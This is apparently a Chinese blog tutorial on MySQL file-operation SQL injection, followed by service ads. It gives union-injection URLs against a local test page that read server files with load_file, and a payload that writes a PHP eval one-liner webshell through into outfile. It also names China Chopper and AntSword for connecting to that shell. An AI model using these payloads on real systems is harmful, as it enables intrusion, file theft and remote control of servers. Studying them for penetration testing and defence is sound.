Mysql高权限文件操作注入

数据库用户:user()

操作系统:@@version_compile_os

读取函数:load_file

写入函数:into outfile

 

1、root 用户

mysql> select load_file('c:/hd.ini')  #(成功)

mysql> select 'fujieace' into outfile 'c:/fujieace.txt';  #(成功)

 

2、test 普通用户

mysql> select load_file('c:/hd.ini')  #(失败,结果为空)
mysql> select 'fujieace' into outfile 'c:/fujieace.txt';  #(失败,提示ERROR错误)

 

通过上面的对比,得到一个结果,Mysql数据库只有root用户才有权限用“读取、写入”函数的权限。

 

本地实战测试:

 

1、查看用户名

127.0.0.1/test/sqlin.php?x=1 union select 1,user(),3,4

得到结果:[email protected]

 

这里是否是root用户名取决于数据库配置文件是用哪一个用户名来连接数据库的?

 

2、读取数据

127.0.0.1/test/sqlin.php?x=1 union select 1,load_file('c:/hd.ini'),3,4

 

思考一个问题:这里我是知道准确的物理路径,真正渗透测试的时候我们或许并不能知道网站路径怎么办?

关于网站路径的获取方法:

报错显示

谷歌黑客

读取配置文件

漏洞报错

遗留文件

字典猜解

 

注意:路径符号及编码;仔细看斜杠,这里单引号也可以去掉,如果去掉,需要将 c:/hd.ini 编码。可以用小葵转换工具

 

3、写入PHP一句话

127.0.0.1/test/sqlin.php?x=1 union select 1,'<?php eval($_POST['x']);?>',3,4 into outfile 'c:/c.php'

这里肯定会报错,而且写入一定不会成功,因为单引号的问题,因此,这里就需要用到上面的知识:去掉单引号,编码写入的内容,才能真正的成功。

 

4、连接一句话木马

如果这个c.php写入的到的是网站目录下面,是不是就可以用中国菜刀或中国蚁剑连接了呢?

 

注意:

在mysql 5.6.34版本以后,MySQL服务器都会运行 --secure-file-priv 选项, secure_file_priv 配置默认的值是 null ;因此“读取、写入函数”默认是不允许用的,会提示如下错误:

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

中文翻译

错误1290(HY000):MySQL服务器正在运行--secure-file-priv选项,因此无法执行此语句

 

查看 secure_file_priv 值:

mysql> show variables like '%secure%';

secure_file_priv

解决方法

打开my.cnf 或 my.ini,加入以下语句后重启mysql。

secure_file_priv=''

 

注意:这是为了测试SQL高权限文件操作注入才这样配置,以后大家在项目中千万不要这样配置。

付杰
wp dz 帝国 dede phpcms等快速建站服务
wp dz 帝国 dede phpcms等快速建站服务
  • ¥ 999元
  • 市场价:4999元
SEO顾问 单站最低999元 整站全方位优化
SEO顾问 单站最低999元 整站全方位优化
  • ¥ 999元
  • 市场价:4999元
PHP运行环境 wamp lamp lnmp 安装 配置 搭建
PHP运行环境 wamp lamp lnmp 安装 配置 搭建
  • ¥ 99.9元
  • 市场价:299元
服务器管理面板/主机控制面板“安装”服务
服务器管理面板/主机控制面板“安装”服务
  • ¥ 49.9元
  • 市场价:99.9元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: